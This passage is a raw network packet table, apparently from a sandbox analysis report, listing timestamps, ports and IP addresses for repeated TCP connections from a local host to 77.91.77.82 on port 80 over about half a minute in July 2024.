Jul 2, 2024 12:22:55.825059891 CEST	80	55329	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:55.825123072 CEST	55329	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.825196981 CEST	80	55328	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:55.825371981 CEST	55328	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.825463057 CEST	55329	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:55.830602884 CEST	80	55329	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:56.643552065 CEST	80	55329	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:56.643624067 CEST	55329	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:56.765986919 CEST	55329	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:56.766248941 CEST	55330	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:56.771099091 CEST	80	55330	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:56.771174908 CEST	55330	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:56.771193981 CEST	80	55329	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:56.771240950 CEST	55329	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:56.772710085 CEST	55330	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:56.777617931 CEST	80	55330	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:57.491751909 CEST	80	55330	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:57.491899014 CEST	55330	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:57.534831047 CEST	55330	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:57.535840034 CEST	55331	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:57.540148973 CEST	80	55330	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:57.540242910 CEST	55330	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:57.540764093 CEST	80	55331	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:57.540832043 CEST	55331	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:57.541114092 CEST	55331	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:57.545818090 CEST	80	55331	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:58.250253916 CEST	80	55331	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:58.250318050 CEST	55331	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:58.367451906 CEST	55331	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:58.367845058 CEST	55332	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:58.372690916 CEST	80	55331	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:58.372715950 CEST	80	55332	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:58.372754097 CEST	55331	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:58.372797966 CEST	55332	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:58.373269081 CEST	55332	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:58.378170013 CEST	80	55332	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:59.059905052 CEST	80	55332	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:59.059966087 CEST	55332	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.063332081 CEST	55332	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.063749075 CEST	55333	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.068583965 CEST	80	55332	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:59.068628073 CEST	80	55333	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:59.068640947 CEST	55332	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.068690062 CEST	55333	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.069118977 CEST	55333	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.073893070 CEST	80	55333	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:59.777514935 CEST	80	55333	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:59.777591944 CEST	55333	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.880978107 CEST	55333	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.881403923 CEST	55334	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.886368036 CEST	80	55334	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:59.887332916 CEST	80	55333	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:59.887429953 CEST	55333	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.887444019 CEST	55334	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.887773037 CEST	55334	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:59.892519951 CEST	80	55334	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:00.610101938 CEST	80	55334	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:00.610174894 CEST	55334	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.612970114 CEST	55334	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.613276005 CEST	55335	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.618315935 CEST	80	55334	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:00.618330002 CEST	80	55335	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:00.618367910 CEST	55334	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.618417978 CEST	55335	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.618659019 CEST	55335	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.624353886 CEST	80	55335	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:00.628376007 CEST	55335	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.742129087 CEST	55336	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.747085094 CEST	80	55336	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:00.747150898 CEST	55336	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.747549057 CEST	55336	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:00.752424955 CEST	80	55336	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:01.456883907 CEST	80	55336	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:01.456957102 CEST	55336	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:01.465503931 CEST	55336	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:01.465843916 CEST	55337	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:01.471448898 CEST	80	55337	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:01.471524000 CEST	55337	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:01.471693993 CEST	80	55336	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:01.471714020 CEST	55337	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:01.471736908 CEST	55336	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:01.476562023 CEST	80	55337	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:02.187808990 CEST	80	55337	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:02.187863111 CEST	55337	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:02.302788019 CEST	55337	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:02.303071976 CEST	55338	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:02.307841063 CEST	80	55338	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:02.308193922 CEST	80	55337	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:02.308271885 CEST	55337	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:02.308295965 CEST	55338	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:02.308514118 CEST	55338	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:02.313314915 CEST	80	55338	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:03.026228905 CEST	80	55338	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:03.028815031 CEST	55338	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:03.031474113 CEST	55338	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:03.031662941 CEST	55339	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:03.036844969 CEST	80	55339	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:03.036916018 CEST	55339	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:03.037039995 CEST	80	55338	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:03.037146091 CEST	55338	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:03.037209988 CEST	55339	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:03.041985035 CEST	80	55339	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:03.938195944 CEST	80	55339	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:03.940788031 CEST	55339	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.052977085 CEST	55339	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.053304911 CEST	55340	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.063524961 CEST	80	55340	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:04.063688040 CEST	55340	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.063800097 CEST	80	55339	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:04.063841105 CEST	55340	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.063848972 CEST	55339	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.068922997 CEST	80	55340	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:04.777373075 CEST	80	55340	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:04.777669907 CEST	55340	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.780221939 CEST	55340	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.780559063 CEST	55341	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.785527945 CEST	80	55341	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:04.785648108 CEST	55341	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.785660028 CEST	80	55340	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:04.785708904 CEST	55340	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.785882950 CEST	55341	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:04.790601969 CEST	80	55341	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:05.488471031 CEST	80	55341	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:05.488533020 CEST	55341	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:05.604124069 CEST	55341	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:05.604444981 CEST	55342	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:05.609298944 CEST	80	55342	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:05.609358072 CEST	55342	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:05.609688997 CEST	80	55341	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:05.609841108 CEST	55341	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:05.610008955 CEST	55342	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:05.614828110 CEST	80	55342	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:06.310885906 CEST	80	55342	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:06.312788010 CEST	55342	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:06.315217018 CEST	55342	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:06.315440893 CEST	55343	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:06.320259094 CEST	80	55343	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:06.320374966 CEST	80	55342	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:06.320451975 CEST	55342	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:06.320470095 CEST	55343	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:06.320704937 CEST	55343	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:06.325452089 CEST	80	55343	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:07.041968107 CEST	80	55343	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:07.042041063 CEST	55343	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:07.147234917 CEST	55343	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:07.147699118 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:07.153409958 CEST	80	55344	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:07.153476954 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:07.153630018 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:07.153798103 CEST	80	55343	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:07.153847933 CEST	55343	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:07.158782005 CEST	80	55344	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:08.845853090 CEST	80	55344	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:08.845937014 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.846565008 CEST	80	55344	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:08.846770048 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.847419024 CEST	80	55344	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:08.847472906 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.847893953 CEST	80	55344	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:08.847939968 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.850742102 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.851116896 CEST	55345	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.855904102 CEST	80	55345	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:08.855971098 CEST	55345	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.855978966 CEST	80	55344	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:08.856019020 CEST	55344	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.856731892 CEST	55345	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:08.861490965 CEST	80	55345	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:09.580223083 CEST	80	55345	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:09.580874920 CEST	55345	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:09.693089008 CEST	55345	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:09.693240881 CEST	55346	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:09.699362040 CEST	80	55346	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:09.700149059 CEST	80	55345	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:09.700223923 CEST	55345	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:09.700252056 CEST	55346	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:09.700476885 CEST	55346	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:09.705233097 CEST	80	55346	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:10.427756071 CEST	80	55346	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:10.430824041 CEST	55346	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:10.433332920 CEST	55346	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:10.433686972 CEST	55347	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:10.438535929 CEST	80	55347	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:10.438546896 CEST	80	55346	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:10.438617945 CEST	55346	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:10.438635111 CEST	55347	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:10.438772917 CEST	55347	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:10.443733931 CEST	80	55347	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:11.130868912 CEST	80	55347	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:11.130919933 CEST	55347	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.240608931 CEST	55347	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.240895987 CEST	55348	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.245769978 CEST	80	55348	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:11.245790005 CEST	80	55347	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:11.245834112 CEST	55348	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.245863914 CEST	55347	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.246182919 CEST	55348	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.250915051 CEST	80	55348	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:11.937767982 CEST	80	55348	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:11.938880920 CEST	55348	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.941926003 CEST	55348	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.941927910 CEST	55349	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.948986053 CEST	80	55349	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:11.950200081 CEST	80	55348	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:11.950819016 CEST	55349	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.950819016 CEST	55348	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.952166080 CEST	55349	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:11.958565950 CEST	80	55349	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:12.647840977 CEST	80	55349	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:12.650968075 CEST	55349	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:12.757467031 CEST	55349	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:12.757924080 CEST	55350	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:12.762691975 CEST	80	55350	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:12.762754917 CEST	55350	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:12.762805939 CEST	80	55349	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:12.766812086 CEST	55350	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:12.766812086 CEST	55349	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:12.771717072 CEST	80	55350	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:13.476600885 CEST	80	55350	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:13.476655960 CEST	55350	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:13.480667114 CEST	55350	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:13.481101036 CEST	55351	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:13.486763954 CEST	80	55350	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:13.486776114 CEST	80	55351	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:13.486802101 CEST	55350	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:13.486845016 CEST	55351	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:13.487026930 CEST	55351	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:13.491795063 CEST	80	55351	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:14.222745895 CEST	80	55351	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:14.222923040 CEST	55351	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:14.334708929 CEST	55351	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:14.334708929 CEST	55352	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:14.339623928 CEST	80	55352	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:14.339848042 CEST	55352	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:14.339979887 CEST	80	55351	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:14.340056896 CEST	55351	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:14.342859983 CEST	55352	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:14.349255085 CEST	80	55352	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:15.071782112 CEST	80	55352	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:15.071835041 CEST	55352	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.076595068 CEST	55352	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.076929092 CEST	55353	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.082457066 CEST	80	55352	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:15.082494974 CEST	80	55353	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:15.082499027 CEST	55352	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.082561970 CEST	55353	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.082993031 CEST	55353	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.088022947 CEST	80	55353	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:15.769869089 CEST	80	55353	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:15.775373936 CEST	55353	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.882889986 CEST	55354	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.882889986 CEST	55353	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.887764931 CEST	80	55354	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:15.888025045 CEST	80	55353	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:15.891483068 CEST	55354	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.891483068 CEST	55353	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.894898891 CEST	55354	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:15.899652958 CEST	80	55354	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:16.606092930 CEST	80	55354	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:16.606209040 CEST	55354	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:16.608982086 CEST	55354	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:16.609491110 CEST	55355	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:16.614547968 CEST	80	55354	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:16.614561081 CEST	80	55355	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:16.616831064 CEST	55354	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:16.616836071 CEST	55355	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:16.619673014 CEST	55355	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:16.624485970 CEST	80	55355	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:17.338784933 CEST	80	55355	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:17.338840961 CEST	55355	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:17.444835901 CEST	55355	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:17.445311069 CEST	55356	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:17.449918032 CEST	80	55355	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:17.449959040 CEST	55355	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:17.450018883 CEST	80	55356	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:17.450073004 CEST	55356	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:17.450325966 CEST	55356	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:17.455034018 CEST	80	55356	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:18.140562057 CEST	80	55356	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:18.143651009 CEST	55356	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.143651009 CEST	55356	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.144763947 CEST	55357	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.152179956 CEST	80	55356	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:18.153044939 CEST	80	55357	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:18.153088093 CEST	55356	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.157053947 CEST	55357	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.157053947 CEST	55357	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.165463924 CEST	80	55357	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:18.871036053 CEST	80	55357	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:18.871095896 CEST	55357	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.975763083 CEST	55357	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.976114035 CEST	55358	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.980935097 CEST	80	55358	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:18.981034040 CEST	55358	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.981204033 CEST	55358	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.984502077 CEST	80	55357	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:18.984580040 CEST	55357	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:18.987088919 CEST	80	55358	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:19.686001062 CEST	80	55358	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:19.686079025 CEST	55358	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:19.688534021 CEST	55358	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:19.688893080 CEST	55359	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:19.693737984 CEST	80	55358	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:19.693747997 CEST	80	55359	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:19.693804979 CEST	55358	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:19.693823099 CEST	55359	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:19.804801941 CEST	55360	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:19.809662104 CEST	80	55360	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:19.812855005 CEST	55360	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:19.816772938 CEST	55360	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:19.821907997 CEST	80	55360	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:20.499702930 CEST	80	55360	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:20.499911070 CEST	55360	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:20.503051043 CEST	55360	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:20.503627062 CEST	55361	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:20.508116007 CEST	80	55360	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:20.508347034 CEST	55360	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:20.508384943 CEST	80	55361	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:20.508477926 CEST	55361	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:20.512765884 CEST	55361	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:20.517585039 CEST	80	55361	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:21.218977928 CEST	80	55361	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:21.219043970 CEST	55361	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:21.335508108 CEST	55361	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:21.335912943 CEST	55362	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:21.340645075 CEST	80	55361	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:21.340692997 CEST	55361	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:21.340701103 CEST	80	55362	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:21.340764999 CEST	55362	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:21.341113091 CEST	55362	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:23:21.345832109 CEST	80	55362	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:22.029983044 CEST	80	55362	77.91.77.82	192.168.2.7
Jul 2, 2024 12:23:22.035623074 CEST	55362	80	192.168.2.7	77.91.77.82
